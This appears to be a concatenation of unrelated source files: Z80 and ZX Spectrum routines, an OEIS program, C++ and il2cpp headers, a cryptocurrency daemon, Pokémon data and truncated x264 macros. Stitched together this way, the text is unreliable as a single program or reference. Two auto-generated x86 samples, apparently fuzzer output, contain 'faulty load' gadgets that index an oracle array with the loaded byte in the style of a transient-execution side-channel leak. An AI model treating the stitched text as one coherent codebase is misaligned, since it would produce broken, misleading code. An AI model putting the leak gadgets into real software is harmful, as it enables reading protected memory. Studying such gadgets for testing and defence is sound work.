; ----------------------------------------------------------------------------- ; Altenate BIOS Boot Logo Program ; ; MIT License ; ; Copyright (c) 2021 HRA! ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in all ; copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. ; ; ----------------------------------------------------------------------------- org 0x7900 ld hl, compressed_data ld de, 0xC000 push de call dzx0 pop hl ld [hl], l ld de, 0xC001 include "altbios_boot_logo_bin_size.inc" ldir ret dzx0:: push de include "dzx0_standard.inc" compressed_data:: binary_link "altbios_boot_logo.bin.zx0" end_of_program:: if end_of_program > 0x8000 error "LOGO DATA IS TOO BIG!! (Over " + (end_of_program - 0x8000) + "Bytes)" else message "FILE SIZE IS OK! (Remain " + (0x8000 - end_of_program) + "Bytes)" space 0x8000 - end_of_program, 0xFF endif
; A269237: a(n) = (n + 1)^2*(5*n^2 + 10*n + 2)/2. ; 1,34,189,616,1525,3186,5929,10144,16281,24850,36421,51624,71149,95746,126225,163456,208369,261954,325261,399400,485541,584914,698809,828576,975625,1141426,1327509,1535464,1766941,2023650,2307361,2619904,2963169,3339106,3749725,4197096 add $0,1 pow $0,2 mul $0,5 sub $0,1 bin $0,2 mov $1,$0 sub $1,6 div $1,5 add $1,1
#include <iostream> namespace Families { class Family { private: std::string Type[5] = {"Father", "Mother", "Child"}; public: void Print() { for (auto &type : Type) { std::cout << Type[2] << "\n"; } } }; } int main(int argc, char const *argv[]) { //Invoke class and create object Families::Family *FM = new Families::Family; FM->Print(); return 0; }
// Autogenerated from CppHeaderCreator // Created by Sc2ad // ========================================================================= #pragma once // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" #include "beatsaber-hook/shared/utils/byref.hpp" // Including type: System.Enum #include "System/Enum.hpp" // Completed includes // Type namespace: Oculus.Platform namespace Oculus::Platform { // Forward declaring type: ServiceProvider struct ServiceProvider; } #include "beatsaber-hook/shared/utils/il2cpp-type-check.hpp" DEFINE_IL2CPP_ARG_TYPE(::Oculus::Platform::ServiceProvider, "Oculus.Platform", "ServiceProvider"); // Type namespace: Oculus.Platform namespace Oculus::Platform { // Size: 0x4 #pragma pack(push, 1) // Autogenerated type: Oculus.Platform.ServiceProvider // [TokenAttribute] Offset: FFFFFFFF struct ServiceProvider/*, public ::System::Enum*/ { public: public: // public System.Int32 value__ // Size: 0x4 // Offset: 0x0 int value; // Field size check static_assert(sizeof(int) == 0x4); public: // Creating value type constructor for type: ServiceProvider constexpr ServiceProvider(int value_ = {}) noexcept : value{value_} {} // Creating interface conversion operator: operator ::System::Enum operator ::System::Enum() noexcept { return *reinterpret_cast<::System::Enum*>(this); } // Creating conversion operator: operator int constexpr operator int() const noexcept { return value; } // [DescriptionAttribute] Offset: 0x1240E98 // static field const value: static public Oculus.Platform.ServiceProvider Unknown static constexpr const int Unknown = 0; // Get static field: static public Oculus.Platform.ServiceProvider Unknown static ::Oculus::Platform::ServiceProvider _get_Unknown(); // Set static field: static public Oculus.Platform.ServiceProvider Unknown static void _set_Unknown(::Oculus::Platform::ServiceProvider value); // [DescriptionAttribute] Offset: 0x1240ED0 // static field const value: static public Oculus.Platform.ServiceProvider Dropbox static constexpr const int Dropbox = 1; // Get static field: static public Oculus.Platform.ServiceProvider Dropbox static ::Oculus::Platform::ServiceProvider _get_Dropbox(); // Set static field: static public Oculus.Platform.ServiceProvider Dropbox static void _set_Dropbox(::Oculus::Platform::ServiceProvider value); // [DescriptionAttribute] Offset: 0x1240F08 // static field const value: static public Oculus.Platform.ServiceProvider Facebook static constexpr const int Facebook = 2; // Get static field: static public Oculus.Platform.ServiceProvider Facebook static ::Oculus::Platform::ServiceProvider _get_Facebook(); // Set static field: static public Oculus.Platform.ServiceProvider Facebook static void _set_Facebook(::Oculus::Platform::ServiceProvider value); // [DescriptionAttribute] Offset: 0x1240F40 // static field const value: static public Oculus.Platform.ServiceProvider Google static constexpr const int Google = 3; // Get static field: static public Oculus.Platform.ServiceProvider Google static ::Oculus::Platform::ServiceProvider _get_Google(); // Set static field: static public Oculus.Platform.ServiceProvider Google static void _set_Google(::Oculus::Platform::ServiceProvider value); // [DescriptionAttribute] Offset: 0x1240F78 // static field const value: static public Oculus.Platform.ServiceProvider Instagram static constexpr const int Instagram = 4; // Get static field: static public Oculus.Platform.ServiceProvider Instagram static ::Oculus::Platform::ServiceProvider _get_Instagram(); // Set static field: static public Oculus.Platform.ServiceProvider Instagram static void _set_Instagram(::Oculus::Platform::ServiceProvider value); // [DescriptionAttribute] Offset: 0x1240FB0 // static field const value: static public Oculus.Platform.ServiceProvider RemoteMedia static constexpr const int RemoteMedia = 5; // Get static field: static public Oculus.Platform.ServiceProvider RemoteMedia static ::Oculus::Platform::ServiceProvider _get_RemoteMedia(); // Set static field: static public Oculus.Platform.ServiceProvider RemoteMedia static void _set_RemoteMedia(::Oculus::Platform::ServiceProvider value); // Get instance field reference: public System.Int32 value__ int& dyn_value__(); }; // Oculus.Platform.ServiceProvider #pragma pack(pop) static check_size<sizeof(ServiceProvider), 0 + sizeof(int)> __Oculus_Platform_ServiceProviderSizeCheck; static_assert(sizeof(ServiceProvider) == 0x4); } #include "beatsaber-hook/shared/utils/il2cpp-utils-methods.hpp"
; char __CALLEE__ *itoa_callee(char *s, int num) ; convert int to string and store in s ; 12.2006 aralbrec XLIB itoa_callee XDEF ASMDISP_ITOA_CALLEE XDEF ASMDISP2_ITOA_CALLEE LIB l_deneg .itoa_callee pop hl pop de ex (sp),hl ; enter : de = int num ; hl = char *s ; exit : hl = char *s ; de = addr of terminating '\0' in s ; uses : af, bc, de .asmentry push hl bit 7,d ; is num negative? jr z, notneg ld (hl),'-' ; write negative sign inc hl call l_deneg ; negate number .notneg ex de,hl ld bc,constants push bc ; de = char * ; hl = int ; stack = constants .skipleading0 ex (sp),hl ; hl = & constant ld c,(hl) inc hl ld b,(hl) ; bc = constant ld a,b or c jr z, write1 ; if constant == 0, reached end inc hl ex (sp),hl ; hl = int, stack = & next constant call divide ; a = hl/bc + '0', hl = hl%bc cp '0' jp z, skipleading0 .write ld (de),a ; write digit into string inc de ex (sp),hl ld c,(hl) inc hl ld b,(hl) ld a,b or c jr z, write1 inc hl ex (sp),hl call divide jp write .write1 ; reached 1s position, write out last digit pop hl ; hl = int ld a,l add a,'0' ld (de),a ; write last digit inc de xor a ; terminate string with '\0' ld (de),a pop hl ; hl = char *s ret .divide ld a,'0'-1 .divloop inc a sbc hl,bc jr nc, divloop add hl,bc ret .constants defw 10000, 1000, 100, 10, 0 DEFC ASMDISP_ITOA_CALLEE = asmentry - itoa_callee DEFC ASMDISP2_ITOA_CALLEE = notneg - itoa_callee
extern printf extern puts section .text global _mprintf _mprintf: push rbp mov rbp, rsp ;mov rdi, [rbp + 16] push r9 push r8 push rcx push rdx push rsi push rdi call printf add rsp, 48 pop rbp ret section .data msg: db "HELLO WORLD", 0xA, 0
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2018 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #if defined(HAVE_CONFIG_H) #include <config/paycheckcash-config.h> #endif #include <chainparams.h> #include <clientversion.h> #include <compat.h> #include <fs.h> #include <rpc/server.h> #include <init.h> #include <noui.h> #include <shutdown.h> #include <util.h> #include <httpserver.h> #include <httprpc.h> #include <utilstrencodings.h> #include <walletinitinterface.h> #include <stdio.h> /* Introduction text for doxygen: */ /*! \mainpage Developer documentation * * \section intro_sec Introduction * * This is the developer documentation of the reference client for an experimental new digital currency called PaycheckCash, * which enables instant payments to anyone, anywhere in the world. PaycheckCash uses peer-to-peer technology to operate * with no central authority: managing transactions and issuing money are carried out collectively by the network. * * The software is a community-driven open source project, released under the MIT license. * * See https://github.com/paycheckcash/paycheckcash and https://paycheckcashcore.org/ for further information about the project. * * \section Navigation * Use the buttons <code>Namespaces</code>, <code>Classes</code> or <code>Files</code> at the top of the page to start navigating the code. */ static void WaitForShutdown() { while (!ShutdownRequested()) { MilliSleep(200); } Interrupt(); } ////////////////////////////////////////////////////////////////////////////// // // Start // static bool AppInit(int argc, char* argv[]) { bool fRet = false; // // Parameters // // If Qt is used, parameters/paycheckcash.conf are parsed in qt/paycheckcash.cpp's main() SetupServerArgs(); std::string error; if (!gArgs.ParseParameters(argc, argv, error)) { fprintf(stderr, "Error parsing command line arguments: %s\n", error.c_str()); return false; } // Process help and version before taking care about datadir if (HelpRequested(gArgs) || gArgs.IsArgSet("-version")) { std::string strUsage = PACKAGE_NAME " Daemon version " + FormatFullVersion() + "\n"; if (gArgs.IsArgSet("-version")) { strUsage += FormatParagraph(LicenseInfo()); } else { strUsage += "\nUsage: paycheckcashd [options] Start " PACKAGE_NAME " Daemon\n"; strUsage += "\n" + gArgs.GetHelpMessage(); } fprintf(stdout, "%s", strUsage.c_str()); return true; } try { if (!fs::is_directory(GetDataDir(false))) { fprintf(stderr, "Error: Specified data directory \"%s\" does not exist.\n", gArgs.GetArg("-datadir", "").c_str()); return false; } if (!gArgs.ReadConfigFiles(error, true)) { fprintf(stderr, "Error reading configuration file: %s\n", error.c_str()); return false; } // Check for -testnet or -regtest parameter (Params() calls are only valid after this clause) try { SelectParams(gArgs.GetChainName()); } catch (const std::exception& e) { fprintf(stderr, "Error: %s\n", e.what()); return false; } // Error out when loose non-argument tokens are encountered on command line for (int i = 1; i < argc; i++) { if (!IsSwitchChar(argv[i][0])) { fprintf(stderr, "Error: Command line contains unexpected token '%s', see paycheckcashd -h for a list of options.\n", argv[i]); return false; } } // -server defaults to true for paycheckcashd but not for the GUI so do this here gArgs.SoftSetBoolArg("-server", true); // Set this early so that parameter interactions go to console InitLogging(); InitParameterInteraction(); if (!AppInitBasicSetup()) { // InitError will have been called with detailed error, which ends up on console return false; } if (!AppInitParameterInteraction()) { // InitError will have been called with detailed error, which ends up on console return false; } if (!AppInitSanityChecks()) { // InitError will have been called with detailed error, which ends up on console return false; } if (gArgs.GetBoolArg("-daemon", false)) { #if HAVE_DECL_DAEMON #if defined(MAC_OSX) #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wdeprecated-declarations" #endif fprintf(stdout, "PaycheckCash server starting\n"); // Daemonize if (daemon(1, 0)) { // don't chdir (1), do close FDs (0) fprintf(stderr, "Error: daemon() failed: %s\n", strerror(errno)); return false; } #if defined(MAC_OSX) #pragma GCC diagnostic pop #endif #else fprintf(stderr, "Error: -daemon is not supported on this operating system\n"); return false; #endif // HAVE_DECL_DAEMON } // Lock data directory after daemonization if (!AppInitLockDataDirectory()) { // If locking the data directory failed, exit immediately return false; } fRet = AppInitMain(); } catch (const std::exception& e) { PrintExceptionContinue(&e, "AppInit()"); } catch (...) { PrintExceptionContinue(nullptr, "AppInit()"); } if (!fRet) { Interrupt(); } else { WaitForShutdown(); } Shutdown(); return fRet; } int main(int argc, char* argv[]) { SetupEnvironment(); // Connect paycheckcashd signal handlers noui_connect(); return (AppInit(argc, argv) ? EXIT_SUCCESS : EXIT_FAILURE); }
; ; ZX Spectrum specific routines ; by Stefano Bodrato, 22/09/2006 ; ; int zx_model(); ; ; The result is: ; - 0 unknown ; - 1 if the spectrum is a 48K ; - 2 if we have a Spectrum 128K or +2 ; - 3 if it is a Spectrum +2A or Pentagon ; - 4 if it is a Spectrum +3 ; - 5 if it is a Spectrum +2A or +3 fixed for games ; - 6 TS2068 ; (disabled) - 7 Scorpion or similar clone ; ; $Id: zx_model.asm,v 1.2 2015/01/19 01:33:08 pauloscustodio Exp $ ; PUBLIC zx_model zx_model: ld hl,0 ld a,(75) cp 191 jr z,classiclike cp 110 jr z,newmodels cp 225 ld l,6 ; TS2068 ret z ld l,0 ret classiclike: ld l,1 ret newmodels: ld de,16384 loop0: in a,(255) cp 127 ld l,5 ret z ld l,2 ret c dec de ld a,d or e jr nz,loop0 ld de,16384 loop: ld bc,$2ffd in a,(c) cp 56 ; If you find ULA related data, then you have a Scorpion like clone ld l,7 ; sadly you'll never fall here ! ret z and a ld l,2 ret z cp 128 ld l,4 ret z cp 255 jr nz,plus3 ; ..or should it be unknowk ? endloop: dec de ld a,d or e jr nz,loop in a,(c) cp 255 ld l,3 ret z plus3: ld l,4 ret
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r15 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0xfcd, %rdi nop nop nop nop xor %rdx, %rdx and $0xffffffffffffffc0, %rdi movaps (%rdi), %xmm2 vpextrq $0, %xmm2, %r15 add $59358, %r9 lea addresses_A_ht+0x1a9cd, %rax nop nop nop nop nop inc %r10 and $0xffffffffffffffc0, %rax vmovaps (%rax), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %rdi nop add $771, %r9 lea addresses_A_ht+0x35d, %rdi nop nop nop cmp $25664, %r14 movl $0x61626364, (%rdi) nop nop add $4760, %rax lea addresses_normal_ht+0x1e04d, %rsi lea addresses_A_ht+0x5e8d, %rdi nop cmp $54036, %rdx mov $11, %rcx rep movsb nop nop xor %rdx, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r15 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r8 push %rax push %rbx // Faulty Load lea addresses_D+0xf84d, %rax nop nop nop nop cmp $52097, %r10 movaps (%rax), %xmm4 vpextrq $0, %xmm4, %r15 lea oracles, %rbx and $0xff, %r15 shlq $12, %r15 mov (%rbx,%r15,1), %r15 pop %rbx pop %rax pop %r8 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_D', 'same': True, 'size': 16, 'congruent': 0, 'NT': True, 'AVXalign': True}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
MansionMons2: db $0A db 37,PONYTA db 37,RATICATE db 26,GRIMER db 29,GRIMER db 40,RATTATA db 40,RATICATE db 32,GRIMER db 35,GRIMER db 35,MUK db 38,MUK db $00
db DEX_KABUTOPS ; pokedex id db 60 ; base hp db 115 ; base attack db 105 ; base defense db 80 ; base speed db 70 ; base special db ROCK ; species type 1 db WATER ; species type 2 db 33 ; catch rate db 201 ; base exp yield INCBIN "pic/ymon/kabutops.pic",0,1 ; 66, sprite dimensions dw KabutopsPicFront dw KabutopsPicBack ; attacks known at lvl 0 db SCRATCH db HARDEN db ABSORB db 0 db 0 ; growth rate ; learnset tmlearn 2,3,5,6,8 tmlearn 9,10,11,12,13,14,15 tmlearn 17,19,20 tmlearn 31,32 tmlearn 33,34,37,40 tmlearn 44 tmlearn 50,51,53 db BANK(KabutopsPicFront)
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r15 push %r9 push %rax push %rbp push %rdi lea addresses_normal_ht+0x1bf71, %r15 nop sub $39831, %r12 mov (%r15), %r14w add $34856, %r14 lea addresses_D_ht+0x4fe5, %rdi nop and %rbp, %rbp movb $0x61, (%rdi) nop nop xor %r9, %r9 lea addresses_A_ht+0x1ad31, %r14 nop nop add %r12, %r12 mov $0x6162636465666768, %rbp movq %rbp, %xmm6 movups %xmm6, (%r14) nop nop xor %r15, %r15 lea addresses_D_ht+0x1dc79, %rdi nop nop sub %rax, %rax mov (%rdi), %bp nop nop nop nop add $11185, %r14 lea addresses_A_ht+0xb171, %rdi sub $59831, %r15 mov $0x6162636465666768, %rbp movq %rbp, (%rdi) nop nop nop nop nop dec %rdi lea addresses_UC_ht+0x4571, %rax nop nop nop and %r15, %r15 mov (%rax), %r12d nop nop nop nop nop xor %rdi, %rdi lea addresses_WC_ht+0xe3d1, %r14 nop nop nop nop nop and %rdi, %rdi mov (%r14), %r9w nop nop cmp $3154, %r14 pop %rdi pop %rbp pop %rax pop %r9 pop %r15 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r8 push %r9 push %rcx push %rdx // Faulty Load lea addresses_RW+0x7d71, %rdx nop nop nop nop nop sub %r10, %r10 mov (%rdx), %r9d lea oracles, %rcx and $0xff, %r9 shlq $12, %r9 mov (%rcx,%r9,1), %r9 pop %rdx pop %rcx pop %r9 pop %r8 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_RW', 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_RW', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 8}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 1}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 6}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 2}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 10}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC_ht', 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 5}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
;***************************************************************************** ;* x86util.asm: x86 utility macros ;***************************************************************************** ;* Copyright (C) 2008-2020 x264 project ;* ;* Authors: Holger Lubitz <holger@lubitz.org> ;* Loren Merritt <lorenm@u.washington.edu> ;* ;* This program is free software; you can redistribute it and/or modify ;* it under the terms of the GNU General Public License as published by ;* the Free Software Foundation; either version 2 of the License, or ;* (at your option) any later version. ;* ;* This program is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ;* GNU General Public License for more details. ;* ;* You should have received a copy of the GNU General Public License ;* along with this program; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111, USA. ;* ;* This program is also available under a commercial proprietary license. ;* For more information, contact us at licensing@x264.com. ;***************************************************************************** ; like cextern, but with a plain x264 prefix instead of a bitdepth-specific one %macro cextern_common 1 %xdefine %1 mangle(x264 %+ _ %+ %1) CAT_XDEFINE cglobaled_, %1, 1 extern %1 %endmacro %ifndef BIT_DEPTH %assign BIT_DEPTH 0 %endif %if BIT_DEPTH > 8 %assign HIGH_BIT_DEPTH 1 %else %assign HIGH_BIT_DEPTH 0 %endif %assign FENC_STRIDE 16 %assign FDEC_STRIDE 32 %assign SIZEOF_PIXEL 1 %assign SIZEOF_DCTCOEF 2 %define pixel byte %define vpbroadcastdct vpbroadcastw %define vpbroadcastpix vpbroadcastb %if HIGH_BIT_DEPTH %assign SIZEOF_PIXEL 2 %assign SIZEOF_DCTCOEF 4 %define pixel word %define vpbroadcastdct vpbroadcastd %define vpbroadcastpix vpbroadcastw %endif %assign FENC_STRIDEB SIZEOF_PIXEL*FENC_STRIDE %assign FDEC_STRIDEB SIZEOF_PIXEL*FDEC_STRIDE %assign PIXEL_MAX ((1 << BIT_DEPTH)-1) %macro FIX_STRIDES 1-* %if HIGH_BIT_DEPTH %rep %0 add %1, %1 %rotate 1 %endrep %endif %endmacro %macro SBUTTERFLY 4 %ifidn %1, dqqq vperm2i128 m%4, m%2, m%3, q0301 ; punpckh vinserti128 m%2, m%2, xm%3, 1 ; punpckl %elif avx_enabled && mmsize >= 16 punpckh%1 m%4, m%2, m%3 punpckl%1 m%2, m%3 %else mova m%4, m%2 punpckl%1 m%2, m%3 punpckh%1 m%4, m%3 %endif SWAP %3, %4 %endmacro %macro SBUTTERFLY2 4 punpckl%1 m%4, m%2, m%3 punpckh%1 m%2, m%2, m%3 SWAP %2, %4, %3 %endmacro %macro TRANSPOSE4x4W 5 SBUTTERFLY wd, %1, %2, %5 SBUTTERFLY wd, %3, %4, %5 SBUTTERFLY dq, %1, %3, %5 